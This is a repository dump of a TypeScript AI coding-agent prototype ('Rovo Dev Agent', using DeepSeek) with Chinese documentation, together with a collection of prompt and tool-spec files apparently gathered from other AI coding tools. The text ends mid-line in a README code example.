├── rovo-dev ├── .gitignore ├── example.txt ├── .env.example ├── tsconfig.json ├── test-example.ts ├── test-api.ts ├── test-mock-agent.ts ├── src │ ├── utils │ │ └── logger.ts │ ├── index.ts │ └── agent │ │ ├── mock-agent.ts │ │ └── rovo-agent.ts ├── package.json ├── demo.ts ├── README.md ├── README-IMPLEMENTATION.md ├── README-ROVO-DEV-AGENT.md ├── rovo-dev-agent-prompts.md └── rovo-dev-agent-design.json ├── claude └── 1.0.31 │ ├── example-of-TodoWrite.json │ ├── analyze-git-history.json │ ├── subject.json │ └── extract-files.json ├── lingma ├── LINGMA_SYSTEM_PROMPTS.md └── LINGMA_TOOL_DESIGN_SPECS.md ├── augment ├── augment-agent-tools-reference.md └── system_prompt.md ├── codex └── CODEX-AGENT.md ├── misc ├── README_COMPARE_TO_CURSOR_V2.md └── TOOL_COMPARISON_ANALYSIS.md ├── warp.md ├── windsurf ├── cascade.json └── windsurf-tool-chain.md ├── ampcode.md └── gemini └── gemini-tools.json /rovo-dev/.gitignore: -------------------------------------------------------------------------------- 1 | .env 2 | -------------------------------------------------------------------------------- /rovo-dev/example.txt: -------------------------------------------------------------------------------- 1 | # 示例文件 2 | 这是一个由 AI Agent 创建的示例文件。 -------------------------------------------------------------------------------- /rovo-dev/.env.example: -------------------------------------------------------------------------------- 1 | # DeepSeek API 配置 2 | DEEPSEEK_TOKEN=sk-your-deepseek-api-key-here 3 | 4 | # 可选配置 5 | DEEPSEEK_BASE_URL=https://api.deepseek.com 6 | DEFAULT_MODEL=deepseek-chat 7 | DEFAULT_TEMPERATURE=0.1 8 | MAX_ITERATIONS=10 9 | 10 | # 工具配置 11 | ENABLE_BASH_TOOL=true 12 | BASH_TIMEOUT=30000 13 | MAX_FILE_SIZE=1048576 14 | 15 | # 日志配置 16 | LOG_LEVEL=INFO -------------------------------------------------------------------------------- /rovo-dev/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2022", 4 | "module": "ESNext", 5 | "moduleResolution": "node", 6 | "strict": true, 7 | "esModuleInterop": true, 8 | "skipLibCheck": true, 9 | "forceConsistentCasingInFileNames": true, 10 | "declaration": true, 11 | "outDir": "./dist", 12 | "rootDir": "./src", 13 | "resolveJsonModule": true, 14 | "allowSyntheticDefaultImports": true, 15 | "experimentalDecorators": true, 16 | "emitDecoratorMetadata": true 17 | }, 18 | "include": [ 19 | "src/**/*" 20 | ], 21 | "exclude": [ 22 | "node_modules", 23 | "dist", 24 | "**/*.test.ts" 25 | ] 26 | } -------------------------------------------------------------------------------- /claude/1.0.31/example-of-TodoWrite.json: -------------------------------------------------------------------------------- 1 | { 2 | "todos": [ 3 | { 4 | "content": "Analyze codebase structure and existing patterns", 5 | "id": "1", 6 | "priority": "high", 7 | "status": "in_progress" 8 | }, 9 | { 10 | "content": "Examine VS Code extension agent implementation", 11 | "id": "2", 12 | "priority": "high", 13 | "status": "pending" 14 | }, 15 | { 16 | "content": "Review claude-code-sdk architecture patterns", 17 | "id": "3", 18 | "priority": "medium", 19 | "status": "pending" 20 | }, 21 | { 22 | "content": "Design chatbot integration architecture", 23 | "id": "4", 24 | "priority": "high", 25 | "status": "pending" 26 | }, 27 | { 28 | "content": "Identify research and read-focused tools needed", 29 | "id": "5", 30 | "priority": "medium", 31 | "status": "pending" 32 | } 33 | ] 34 | } -------------------------------------------------------------------------------- /claude/1.0.31/analyze-git-history.json: -------------------------------------------------------------------------------- 1 | { 2 | "max_tokens": 512, 3 | "messages": [ 4 | { 5 | "content": "Files modified by user:\n{changed-line-cnt} {filename}\n\n\nFiles modified by other users:\n{changed-line-cnt} {filename}", 6 | "role": "user" 7 | } 8 | ], 9 | "metadata": { 10 | "user_id": "" 11 | }, 12 | "model": "claude-3-5-haiku-20241022", 13 | "stream": true, 14 | "system": [ 15 | { 16 | "text": "You are an expert at analyzing git history. Given a list of files and their modification counts, return exactly five filenames that are frequently modified and represent core application logic (not auto-generated files, dependencies, or configuration). Make sure filenames are diverse, not all in the same folder, and are a mix of user and other users. Return only the filenames' basenames (without the path) separated by newlines with no explanation.", 17 | "type": "text" 18 | } 19 | ], 20 | "temperature": 0 21 | } -------------------------------------------------------------------------------- /rovo-dev/test-example.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * 简单的测试示例 3 | * 运行: npx tsx test-example.ts 4 | */ 5 | 6 | import RovoDevAgent from './src/agent/rovo-agent.js'; 7 | import dotenv from 'dotenv'; 8 | 9 | // 加载环境变量 10 | dotenv.config(); 11 | 12 | async function testAgent() { 13 | // 从环境变量读取 API Key 14 | const apiKey = process.env.DEEPSEEK_TOKEN; 15 | 16 | if (!apiKey) { 17 | console.error('❌ 请在 .env 文件中设置 DEEPSEEK_TOKEN'); 18 | process.exit(1); 19 | } 20 | 21 | const agent = new RovoDevAgent({ 22 | apiKey, 23 | model: process.env.DEFAULT_MODEL || 'deepseek-chat', 24 | temperature: parseFloat(process.env.DEFAULT_TEMPERATURE || '0.1') 25 | }); 26 | 27 | console.log('🤖 测试 Rovo Dev Agent'); 28 | console.log('可用工具:', agent.getAvailableTools()); 29 | 30 | // 测试简单任务 31 | try { 32 | await agent.executeTask('查看当前目录的文件,并告诉我这是什么项目'); 33 | } catch (error) { 34 | console.error('测试失败:', error); 35 | } 36 | } 37 | 38 | // 运行测试 39 | testAgent().catch(console.error); -------------------------------------------------------------------------------- /rovo-dev/test-api.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * 测试 DeepSeek API 连接 3 | */ 4 | 5 | import { generateText } from 'ai'; 6 | import { createOpenAI } from '@ai-sdk/openai'; 7 | import dotenv from 'dotenv'; 8 | 9 | // 加载环境变量 10 | dotenv.config(); 11 | 12 | async function testAPI() { 13 | const apiKey = process.env.DEEPSEEK_TOKEN; 14 | 15 | if (!apiKey) { 16 | console.error('❌ 请在 .env 文件中设置 DEEPSEEK_TOKEN'); 17 | process.exit(1); 18 | } 19 | 20 | const openai = createOpenAI({ 21 | apiKey, 22 | baseURL: process.env.DEEPSEEK_BASE_URL || 'https://api.deepseek.com' 23 | }); 24 | 25 | try { 26 | console.log('🔍 测试 DeepSeek API 连接...'); 27 | 28 | const result = await generateText({ 29 | model: openai('deepseek-chat'), 30 | prompt: '你好,请回复"连接成功"', 31 | maxTokens: 50 32 | }); 33 | 34 | console.log('✅ API 连接成功'); 35 | console.log('响应:', result.text); 36 | } catch (error) { 37 | console.error('❌ API 连接失败:', error); 38 | 39 | if (error instanceof Error) { 40 | console.error('错误详情:', error.message); 41 | } 42 | } 43 | } 44 | 45 | testAPI(); -------------------------------------------------------------------------------- /rovo-dev/test-mock-agent.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * 测试模拟 Agent 3 | */ 4 | 5 | import MockRovoDevAgent from './src/agent/mock-agent.js'; 6 | import chalk from 'chalk'; 7 | 8 | async function testMockAgent() { 9 | console.log(chalk.blue('🧪 测试模拟 Rovo Dev Agent')); 10 | console.log(chalk.gray('='.repeat(50))); 11 | 12 | const agent = new MockRovoDevAgent(); 13 | 14 | console.log('可用工具:', agent.getAvailableTools()); 15 | console.log(); 16 | 17 | // 测试不同类型的任务 18 | const testTasks = [ 19 | '查看当前项目的结构,分析这是什么类型的项目', 20 | '在项目中搜索所有的 import 语句', 21 | '检查 TypeScript 文件的语法错误', 22 | '创建一个新的示例文件' 23 | ]; 24 | 25 | for (let i = 0; i < testTasks.length; i++) { 26 | console.log(chalk.yellow(`\n🔄 测试任务 ${i + 1}/${testTasks.length}`)); 27 | console.log(chalk.gray('-'.repeat(50))); 28 | 29 | try { 30 | await agent.executeTask(testTasks[i]); 31 | } catch (error) { 32 | console.error(chalk.red('测试失败:'), error); 33 | } 34 | 35 | if (i < testTasks.length - 1) { 36 | console.log(chalk.gray('\n' + '='.repeat(50))); 37 | } 38 | } 39 | 40 | console.log(chalk.green('\n✅ 所有测试完成')); 41 | } 42 | 43 | testMockAgent().catch(console.error); -------------------------------------------------------------------------------- /rovo-dev/src/utils/logger.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * 日志工具 3 | */ 4 | 5 | import chalk from 'chalk'; 6 | 7 | export enum LogLevel { 8 | DEBUG = 0, 9 | INFO = 1, 10 | WARN = 2, 11 | ERROR = 3 12 | } 13 | 14 | export class Logger { 15 | private level: LogLevel; 16 | 17 | constructor(level: LogLevel = LogLevel.INFO) { 18 | this.level = level; 19 | } 20 | 21 | debug(message: string, ...args: any[]) { 22 | if (this.level <= LogLevel.DEBUG) { 23 | console.log(chalk.gray(`[DEBUG] ${message}`), ...args); 24 | } 25 | } 26 | 27 | info(message: string, ...args: any[]) { 28 | if (this.level <= LogLevel.INFO) { 29 | console.log(chalk.blue(`[INFO] ${message}`), ...args); 30 | } 31 | } 32 | 33 | warn(message: string, ...args: any[]) { 34 | if (this.level <= LogLevel.WARN) { 35 | console.log(chalk.yellow(`[WARN] ${message}`), ...args); 36 | } 37 | } 38 | 39 | error(message: string, ...args: any[]) { 40 | if (this.level <= LogLevel.ERROR) { 41 | console.log(chalk.red(`[ERROR] ${message}`), ...args); 42 | } 43 | } 44 | 45 | success(message: string, ...args: any[]) { 46 | console.log(chalk.green(`[SUCCESS] ${message}`), ...args); 47 | } 48 | } 49 | 50 | export const logger = new Logger(); -------------------------------------------------------------------------------- /claude/1.0.31/subject.json: -------------------------------------------------------------------------------- 1 | { 2 | "max_tokens": 512, 3 | "messages": [ 4 | { 5 | "content": "{user_prompt}", 6 | "role": "user" 7 | } 8 | ], 9 | "metadata": { 10 | "user_id": "" 11 | }, 12 | "model": "claude-3-5-haiku-20241022", 13 | "stream": true, 14 | "system": [ 15 | { 16 | "cache_control": { 17 | "type": "ephemeral" 18 | }, 19 | "text": "Analyze this message and come up with a single positive, cheerful and delightful verb in gerund form that's related to the message. Only include the word with no other text or punctuation. The word should have the first letter capitalized. Add some whimsy and surprise to entertain the user. Ensure the word is highly relevant to the user's message. Synonyms are welcome, including obscure words. Be careful to avoid words that might look alarming or concerning to the software engineer seeing it as a status notification, such as Connecting, Disconnecting, Retrying, Lagging, Freezing, etc. NEVER use a destructive word, such as Terminating, Killing, Deleting, Destroying, Stopping, Exiting, or similar. NEVER use a word that may be derogatory, offensive, or inappropriate in a non-coding context, such as Penetrating.", 20 | "type": "text" 21 | } 22 | ], 23 | "temperature": 1 24 | } -------------------------------------------------------------------------------- /rovo-dev/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "rovo-dev-agent", 3 | "version": "1.0.0", 4 | "description": "Rovo Dev Agent - 综合型 AI Coding Agent", 5 | "main": "dist/index.js", 6 | "type": "module", 7 | "scripts": { 8 | "build": "tsc", 9 | "start": "node dist/index.js", 10 | "dev": "tsx src/index.ts chat", 11 | "dev:exec": "tsx src/index.ts exec", 12 | "test": "jest", 13 | "test:example": "tsx test-example.ts", 14 | "clean": "rm -rf dist" 15 | }, 16 | "keywords": [ 17 | "ai", 18 | "coding-agent", 19 | "mcp", 20 | "rovo-dev" 21 | ], 22 | "author": "Rovo Dev Team", 23 | "license": "MIT", 24 | "dependencies": { 25 | "@modelcontextprotocol/sdk": "^0.5.0", 26 | "@ai-sdk/openai": "^0.0.66", 27 | "ai": "^3.4.7", 28 | "zod": "^3.22.4", 29 | "commander": "^11.1.0", 30 | "chalk": "^5.3.0", 31 | "inquirer": "^9.2.12", 32 | "ora": "^7.0.1", 33 | "fs-extra": "^11.2.0", 34 | "glob": "^10.3.10", 35 | "execa": "^8.0.1", 36 | "dotenv": "^16.3.1" 37 | }, 38 | "devDependencies": { 39 | "@types/node": "^20.10.0", 40 | "@types/fs-extra": "^11.0.4", 41 | "@types/inquirer": "^9.0.7", 42 | "typescript": "^5.3.0", 43 | "tsx": "^4.6.0", 44 | "jest": "^29.7.0", 45 | "@types/jest": "^29.5.8" 46 | }, 47 | "engines": { 48 | "node": ">=18.0.0" 49 | } 50 | } -------------------------------------------------------------------------------- /claude/1.0.31/extract-files.json: -------------------------------------------------------------------------------- 1 | { 2 | "max_tokens": 512, 3 | "messages": [ 4 | { 5 | "content": "Command: cd /Users/user/sample/main\nOutput: \n\n", 6 | "role": "user" 7 | } 8 | ], 9 | "metadata": { 10 | "user_id": "" 11 | }, 12 | "model": "claude-3-5-haiku-20241022", 13 | "stream": true, 14 | "system": [ 15 | { 16 | "cache_control": { 17 | "type": "ephemeral" 18 | }, 19 | "text": "Extract any file paths that this command reads or modifies. For commands like \"git diff\" and \"cat\", include the paths of files being shown. Use paths verbatim -- don't add any slashes or try to resolve them. Do not try to infer paths that were not explicitly listed in the command output.\n\nIMPORTANT: Commands that do not display the contents of the files should not return any filepaths. For eg. \"ls\", pwd\", \"find\". Even more complicated commands that don't display the contents should not be considered: eg \"find . -type f -exec ls -la {} + | sort -k5 -nr | head -5\"\n\nFirst, determine if the command displays the contents of the files. If it does, then tag should be true. If it does not, then tag should be false.\n\nFormat your response as:\n\ntrue\n\n\n\npath/to/file1\npath/to/file2\n\n\nIf no files are read or modified, return empty filepaths tags:\n\n\n\nDo not include any other text in your response.", 20 | "type": "text" 21 | } 22 | ], 23 | "temperature": 0 24 | } -------------------------------------------------------------------------------- /lingma/LINGMA_SYSTEM_PROMPTS.md: -------------------------------------------------------------------------------- 1 | # AutoDev 系统提示词与工具规范 2 | 3 | ## 一、核心原则 4 | 1. 所有修改必须保持上下文完整性 5 | 2. 工具调用需遵循参数验证规则 6 | 3. 输出必须包含清晰的变更理由说明 7 | 4. 上下文敏感原则:工具调用需自动识别当前代码语义环境(如 React 组件/Node.js 服务) 8 | 5. 跨文件关联:修改代码时必须同步更新相关依赖文件(如类型定义/配置文件) 9 | 10 | ## 二、工具体系规范 11 | 12 | ### 工具调用验证 13 | 1. 所有工具调用必须包含清晰的变更理由(explanation参数) 14 | 2. 参数校验规则: 15 | - 必填字段验证(required标记项) 16 | - 枚举值范围检查(enum类型约束) 17 | - 路径合法性验证(文件/目录存在性检查) 18 | - 输入验证机制:所有用户输入需通过 JSON Schema 校验 19 | // 示例配置: 20 | ```json 21 | { 22 | "inputSchema": { 23 | "type": "object", 24 | "required": ["file_path"], 25 | "properties": { 26 | "file_path": {"type": "string"} 27 | } 28 | } 29 | } 30 | ``` 31 | 32 | ### 质量保障 33 | 34 | 1. **问题检查** `get_problems` 35 | - 支持批量文件检查 36 | - 可过滤严重级别(error/warning/info) 37 | - 示例: 38 | ```json 39 | { 40 | "file_paths": ["src/main.ts", "src/utils.ts"], 41 | "severity": "error" 42 | } 43 | ``` 44 | - 自动修复建议:当检测到可修复问题时,自动生成修复方案 45 | ```json 46 | { 47 | "auto_fix": true, 48 | "fix_strategy": "suggestion_only" 49 | } 50 | ``` 51 | 52 | ### 系统交互 53 | 54 | 1. **终端执行** `run_in_terminal` 55 | - 自动处理工作目录 56 | - 后台任务需设置 is_background=true 57 | - 示例: 58 | ```json 59 | { 60 | "command": "npm run build", 61 | "is_background": true 62 | } 63 | ``` 64 | 65 | ## 三、最佳实践 66 | 1. 修改前必做: 67 | - 使用 read_file 查看依赖关系(view_dependencies=true) 68 | - 通过 get_problems 检查现有问题 69 | - 验证文档同步需求(README/package.json关联变更) 70 | 71 | 2. 代码变更规范: 72 | ```typescript 73 | // 必须包含修改理由说明 74 | // 保留原始逻辑注释:// Original logic: ... 75 | // 使用 `// ... existing code ...` 标记未修改部分 76 | NEW_CODE_HERE 77 | ``` 78 | 79 | 3. 文档同步更新: 80 | - 修改 README.md 时必须同步相关配置 81 | - 更新 package.json 需说明变更原因 82 | - 自动校验文档与代码一致性(使用 verify_consistency 工具) 83 | - 验证输入合法性:使用 validate_input 工具校验用户参数 84 | 85 | ## 四、限制与约束 86 | 1. 单次操作仅处理单个文件 87 | 2. 不支持递归目录操作 88 | 3. 网络请求需验证安全性 -------------------------------------------------------------------------------- /rovo-dev/demo.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Rovo Dev Agent 完整演示 3 | */ 4 | 5 | import RovoDevAgent from './src/agent/rovo-agent.js'; 6 | import MockRovoDevAgent from './src/agent/mock-agent.js'; 7 | import chalk from 'chalk'; 8 | 9 | async function runDemo() { 10 | console.log(chalk.blue('🚀 Rovo Dev Agent 完整演示')); 11 | console.log(chalk.gray('='.repeat(60))); 12 | 13 | // 演示任务列表 14 | const demoTasks = [ 15 | { 16 | title: '项目结构分析', 17 | task: '查看当前项目的结构,分析这是什么类型的项目' 18 | }, 19 | { 20 | title: '代码搜索', 21 | task: '在项目中搜索所有的 import 语句,统计使用的依赖' 22 | }, 23 | { 24 | title: '文件创建', 25 | task: '创建一个新的 README 文件,介绍这个项目' 26 | }, 27 | { 28 | title: '代码诊断', 29 | task: '检查 TypeScript 文件是否有语法错误或警告' 30 | } 31 | ]; 32 | 33 | console.log(chalk.yellow('📋 演示任务列表:')); 34 | demoTasks.forEach((demo, index) => { 35 | console.log(chalk.gray(` ${index + 1}. ${demo.title}: ${demo.task}`)); 36 | }); 37 | console.log(); 38 | 39 | // 尝试使用真实 Agent 40 | console.log(chalk.blue('🤖 使用 Rovo Dev Agent')); 41 | console.log(chalk.gray('-'.repeat(60))); 42 | 43 | const apiKey = process.env.DEEPSEEK_TOKEN; 44 | 45 | const realAgent = new RovoDevAgent({ 46 | apiKey: apiKey || 'invalid-key-for-demo', // 使用环境变量或演示降级 47 | model: process.env.DEFAULT_MODEL || 'deepseek-chat', 48 | temperature: parseFloat(process.env.DEFAULT_TEMPERATURE || '0.1') 49 | }); 50 | 51 | if (!apiKey) { 52 | console.log(chalk.yellow('⚠️ 未设置 DEEPSEEK_TOKEN,将演示降级模式')); 53 | } 54 | 55 | try { 56 | await realAgent.executeTask(demoTasks[0].task); 57 | } catch (error) { 58 | console.error(chalk.red('真实 Agent 执行失败:'), error); 59 | } 60 | 61 | console.log(chalk.gray('\n' + '='.repeat(60))); 62 | 63 | // 使用模拟 Agent 演示所有功能 64 | console.log(chalk.blue('🧪 使用模拟 Agent 演示所有功能')); 65 | console.log(chalk.gray('-'.repeat(60))); 66 | 67 | const mockAgent = new MockRovoDevAgent(); 68 | 69 | for (let i = 0; i < demoTasks.length; i++) { 70 | const demo = demoTasks[i]; 71 | 72 | console.log(chalk.yellow(`\n📝 演示 ${i + 1}/${demoTasks.length}: ${demo.title}`)); 73 | console.log(chalk.gray('-'.repeat(40))); 74 | 75 | try { 76 | await mockAgent.executeTask(demo.task); 77 | } catch (error) { 78 | console.error(chalk.red('演示失败:'), error); 79 | } 80 | 81 | if (i < demoTasks.length - 1) { 82 | console.log(chalk.gray('\n' + '·'.repeat(40))); 83 | } 84 | } 85 | 86 | console.log(chalk.green('\n✅ 演示完成!')); 87 | console.log(chalk.blue('\n🎯 总结:')); 88 | console.log('- ✅ MCP 工具系统正常工作'); 89 | console.log('- ✅ 文件操作功能完整'); 90 | console.log('- ✅ 代码搜索功能正常'); 91 | console.log('- ✅ 命令执行安全可靠'); 92 | console.log('- ✅ 错误处理和降级机制有效'); 93 | console.log('- ✅ 任务分析和工具选择智能'); 94 | 95 | console.log(chalk.yellow('\n💡 使用建议:')); 96 | console.log('1. 设置有效的 DeepSeek API Key 以启用完整 AI 功能'); 97 | console.log('2. 使用 npm run dev 启动交互式模式'); 98 | console.log('3. 尝试各种自然语言任务描述'); 99 | console.log('4. 查看 README-IMPLEMENTATION.md 了解更多用法'); 100 | } 101 | 102 | runDemo().catch(console.error); -------------------------------------------------------------------------------- /rovo-dev/README.md: -------------------------------------------------------------------------------- 1 | # 🤖 Rovo Dev Agent 设计文档 2 | 3 | 本目录包含基于 Rovo Dev 能力设计的综合型 AI Coding Agent 完整方案。 4 | 5 | ## 📁 文件结构 6 | 7 | ``` 8 | rovo-dev/ 9 | ├── README.md # 本文件 - 目录概述 10 | ├── README-ROVO-DEV-AGENT.md # 项目主文档 - 设计概述和实现指南 11 | ├── rovo-dev-agent-design.json # 工具体系设计 - JSON Schema 定义 12 | ├── rovo-dev-agent-prompts.md # 提示词设计 - 系统提示词和模板 13 | └── rovo-dev-agent-implementation.ts # 实现示例 - TypeScript 代码示例 14 | ``` 15 | 16 | ## 🎯 设计目标 17 | 18 | 基于对项目中多家 AI Coding Agent 工具的深入分析,结合 Rovo Dev 的现有能力,设计一个: 19 | 20 | - **功能全面**: 涵盖文件操作、代码智能、终端执行、诊断、记忆管理等 21 | - **安全可靠**: 多层安全机制,防止命令注入和误操作 22 | - **智能协作**: 语义理解、自主执行、个性化适配 23 | - **深度集成**: 与 Atlassian 产品和开发工具链无缝集成 24 | 25 | ## 🚀 核心特色 26 | 27 | ### 1. 多源融合优势 28 | - **Rovo Dev**: 文件操作 + Atlassian 集成 29 | - **Claude Code**: 安全机制 + 简洁设计 30 | - **Augment**: 进程管理 + 任务自动化 31 | - **Lingma**: 记忆管理 + 诊断能力 32 | - **Cascade**: 语义搜索 + 智能代理 33 | 34 | ### 2. 工具体系架构 35 | ```mermaid 36 | graph TB 37 | A[Rovo Dev Agent] --> B[文件系统工具] 38 | A --> C[代码智能工具] 39 | A --> D[终端执行工具] 40 | A --> E[诊断工具] 41 | A --> F[记忆管理工具] 42 | A --> G[协作工具] 43 | A --> H[任务自动化工具] 44 | ``` 45 | 46 | ### 3. 智能工作流 47 | - **代码分析**: 语义搜索 → 文件打开 → 代码展开 → 符号定位 48 | - **问题修复**: 诊断检查 → 原因分析 → 修复实施 → 质量验证 49 | - **任务自动化**: 任务分解 → 自主执行 → 进度跟踪 → 结果总结 50 | 51 | ## 📖 文档说明 52 | 53 | ### 📋 [README-ROVO-DEV-AGENT.md](./README-ROVO-DEV-AGENT.md) 54 | **项目主文档** - 完整的设计概述 55 | - 设计理念和核心优势 56 | - 工具能力对比分析 57 | - 工作流程和使用示例 58 | - 实现建议和部署架构 59 | - 预期收益和下一步行动 60 | 61 | ### 🔧 [rovo-dev-agent-design.json](./rovo-dev-agent-design.json) 62 | **工具体系设计** - 结构化的工具定义 63 | - 完整的工具分类和定义 64 | - JSON Schema 参数规范 65 | - 安全框架和性能优化 66 | - 扩展性和集成能力配置 67 | 68 | ### 🎨 [rovo-dev-agent-prompts.md](./rovo-dev-agent-prompts.md) 69 | **提示词设计** - 智能交互的核心 70 | - 系统提示词和核心能力描述 71 | - 场景专用提示词模板 72 | - 工作流程和错误恢复提示词 73 | - 个性化适配和技能提升引导 74 | 75 | ### 💻 [rovo-dev-agent-implementation.ts](./rovo-dev-agent-implementation.ts) 76 | **实现示例** - 可执行的代码框架 77 | - TypeScript 类型定义 78 | - 工具规范和安全配置 79 | - 代理类和工具管理器 80 | - 工作流程模式和使用示例 81 | 82 | ## 🛠️ 快速开始 83 | 84 | ### 1. 查看设计概述 85 | ```bash 86 | # 阅读主文档了解整体设计 87 | cat README-ROVO-DEV-AGENT.md 88 | ``` 89 | 90 | ### 2. 理解工具体系 91 | ```bash 92 | # 查看工具定义和配置 93 | cat rovo-dev-agent-design.json | jq '.tool_categories' 94 | ``` 95 | 96 | ### 3. 学习提示词设计 97 | ```bash 98 | # 查看系统提示词 99 | grep -A 20 "核心系统提示词" rovo-dev-agent-prompts.md 100 | ``` 101 | 102 | ### 4. 参考实现代码 103 | ```bash 104 | # 查看 TypeScript 实现 105 | head -50 rovo-dev-agent-implementation.ts 106 | ``` 107 | 108 | ## 🎯 实现路径 109 | 110 | ### 阶段一:核心功能 (MVP) 111 | - [ ] 文件操作工具 (`open_files`, `expand_code_chunks`, `find_and_replace_code`) 112 | - [ ] 基础搜索工具 (`grep_file_content`, `codebase_search`) 113 | - [ ] 安全的终端执行 (`bash` with security) 114 | 115 | ### 阶段二:智能增强 116 | - [ ] 代码诊断工具 (`get_diagnostics`, `code_quality_check`) 117 | - [ ] 符号搜索工具 (`symbol_search`) 118 | - [ ] 项目记忆管理 (`project_memory`) 119 | 120 | ### 阶段三:自动化 121 | - [ ] 任务自动化 (`autonomous_agent`, `task_planner`) 122 | - [ ] 进程管理 (`process_management`) 123 | - [ ] 长期记忆 (`long_term_memory`) 124 | 125 | ### 阶段四:集成协作 126 | - [ ] Git 操作 (`git_operations`) 127 | - [ ] Atlassian 集成 (`atlassian_integration`) 128 | - [ ] 可视化工具 (`mermaid_diagram`) 129 | 130 | ## 🤝 贡献指南 131 | 132 | 1. **功能扩展**: 基于 `ToolSpec` 接口添加新工具 133 | 2. **安全增强**: 完善 `SecuritySpec` 配置 134 | 3. **工作流优化**: 扩展 `WorkflowPatterns` 模式 135 | 4. **提示词改进**: 优化场景专用提示词模板 136 | 137 | ## 📞 联系方式 138 | 139 | 如有问题或建议,请通过以下方式联系: 140 | - 创建 Issue 讨论功能需求 141 | - 提交 PR 贡献代码改进 142 | - 分享使用经验和最佳实践 143 | 144 | --- 145 | 146 | **让我们一起构建更智能的编程助手!** 🚀 -------------------------------------------------------------------------------- /rovo-dev/README-IMPLEMENTATION.md: -------------------------------------------------------------------------------- 1 | # 🤖 Rovo Dev Agent 实现 2 | 3 | 基于 MCP (Model Context Protocol) 和 AI SDK 的完整 AI Coding Agent 实现。 4 | 5 | ## 🚀 快速开始 6 | 7 | ### 1. 安装依赖 8 | 9 | ```bash 10 | cd rovo-dev 11 | npm install 12 | ``` 13 | 14 | ### 2. 配置环境 15 | 16 | ```bash 17 | # 复制环境变量模板 18 | cp .env.example .env 19 | 20 | # 编辑 .env 文件,设置你的 DeepSeek API Key 21 | # DEEPSEEK_TOKEN=sk-your-api-key-here 22 | ``` 23 | 24 | ### 3. 构建项目 25 | 26 | ```bash 27 | npm run build 28 | ``` 29 | 30 | ### 4. 启动交互式模式 31 | 32 | ```bash 33 | npm run dev 34 | # 或者 35 | npm start 36 | ``` 37 | 38 | ## 📋 使用方式 39 | 40 | ### 交互式聊天模式 41 | 42 | ```bash 43 | # 启动交互式模式 44 | npm run dev 45 | 46 | # 或者直接指定 API Key 47 | npx tsx src/index.ts chat -k sk-your-api-key 48 | ``` 49 | 50 | 在交互式模式中,你可以: 51 | - 输入任何编程相关的需求 52 | - 使用特殊命令:`exit`(退出)、`clear`(清空历史)、`help`(帮助)、`tools`(查看工具) 53 | 54 | ### 单次执行模式 55 | 56 | ```bash 57 | # 执行单个任务 58 | npx tsx src/index.ts exec "查看当前目录的文件" -k sk-your-api-key 59 | 60 | # 保存结果到文件 61 | npx tsx src/index.ts exec "分析项目结构" -k sk-your-api-key -o result.json 62 | ``` 63 | 64 | ### 工具测试模式 65 | 66 | ```bash 67 | # 测试特定工具 68 | npx tsx src/index.ts test-tool open_files -p '{"file_paths": ["package.json"]}' 69 | 70 | # 测试搜索工具 71 | npx tsx src/index.ts test-tool grep_file_content -p '{"pattern": "import"}' 72 | ``` 73 | 74 | ## 🛠️ 可用工具 75 | 76 | ### 文件操作工具 77 | - **`open_files`** - 打开并查看文件内容 78 | - **`find_and_replace_code`** - 查找替换代码 79 | - **`create_file`** - 创建新文件 80 | 81 | ### 代码搜索工具 82 | - **`grep_file_content`** - 正则表达式内容搜索 83 | - **`codebase_search`** - 语义代码搜索(基于关键词) 84 | 85 | ### 执行工具 86 | - **`bash`** - 安全的命令执行(带安全检查) 87 | 88 | ### 诊断工具 89 | - **`get_diagnostics`** - 基础代码诊断 90 | 91 | ## 💡 使用示例 92 | 93 | ### 示例 1:查看项目结构 94 | 95 | ``` 96 | 👤 你: 帮我查看当前项目的结构,分析主要文件 97 | 98 | 🤖 Agent 会: 99 | 1. 使用 bash 工具执行 ls -la 100 | 2. 使用 open_files 查看关键文件(如 package.json) 101 | 3. 分析项目结构并给出总结 102 | ``` 103 | 104 | ### 示例 2:搜索和修改代码 105 | 106 | ``` 107 | 👤 你: 在项目中搜索所有的 TODO 注释,并帮我创建一个任务清单 108 | 109 | 🤖 Agent 会: 110 | 1. 使用 grep_file_content 搜索 "TODO" 模式 111 | 2. 分析搜索结果 112 | 3. 使用 create_file 创建任务清单文件 113 | 4. 总结找到的 TODO 项目 114 | ``` 115 | 116 | ### 示例 3:代码质量检查 117 | 118 | ``` 119 | 👤 你: 检查 src 目录下的 TypeScript 文件是否有语法错误 120 | 121 | 🤖 Agent 会: 122 | 1. 使用 bash 工具列出 src 目录的 .ts 文件 123 | 2. 使用 get_diagnostics 检查每个文件 124 | 3. 总结发现的问题和建议 125 | ``` 126 | 127 | ### 示例 4:创建新功能 128 | 129 | ``` 130 | 👤 你: 帮我创建一个简单的用户管理模块,包含基本的 CRUD 操作 131 | 132 | 🤖 Agent 会: 133 | 1. 分析需求,规划文件结构 134 | 2. 使用 create_file 创建相关文件 135 | 3. 实现基本的 CRUD 功能 136 | 4. 使用 get_diagnostics 检查代码质量 137 | ``` 138 | 139 | ## 🔧 架构说明 140 | 141 | ### 核心组件 142 | 143 | ``` 144 | src/ 145 | ├── agent/ 146 | │ └── rovo-agent.ts # 主 Agent 实现 147 | ├── tools/ 148 | │ └── mcp-tools.ts # MCP 工具实现 149 | ├── utils/ 150 | │ └── logger.ts # 日志工具 151 | └── index.ts # 命令行入口 152 | ``` 153 | 154 | ### 工作流程 155 | 156 | 1. **用户输入** → 解析需求 157 | 2. **任务分析** → AI 模型分析并制定计划 158 | 3. **工具调用** → 根据计划调用相应的 MCP 工具 159 | 4. **结果处理** → 处理工具执行结果 160 | 5. **迭代执行** → 根据结果决定下一步行动 161 | 6. **任务完成** → 提供总结和建议 162 | 163 | ### 安全机制 164 | 165 | - **命令安全检查**:禁用危险命令,检测命令注入 166 | - **文件操作保护**:自动备份,路径验证 167 | - **超时控制**:防止长时间运行的操作 168 | - **参数验证**:使用 Zod 进行严格的参数验证 169 | 170 | ## 🎯 扩展开发 171 | 172 | ### 添加新工具 173 | 174 | 1. 在 `src/tools/mcp-tools.ts` 中创建新的工具类: 175 | 176 | ```typescript 177 | export class MyCustomTool extends BaseMCPTool { 178 | name = 'my_custom_tool'; 179 | description = 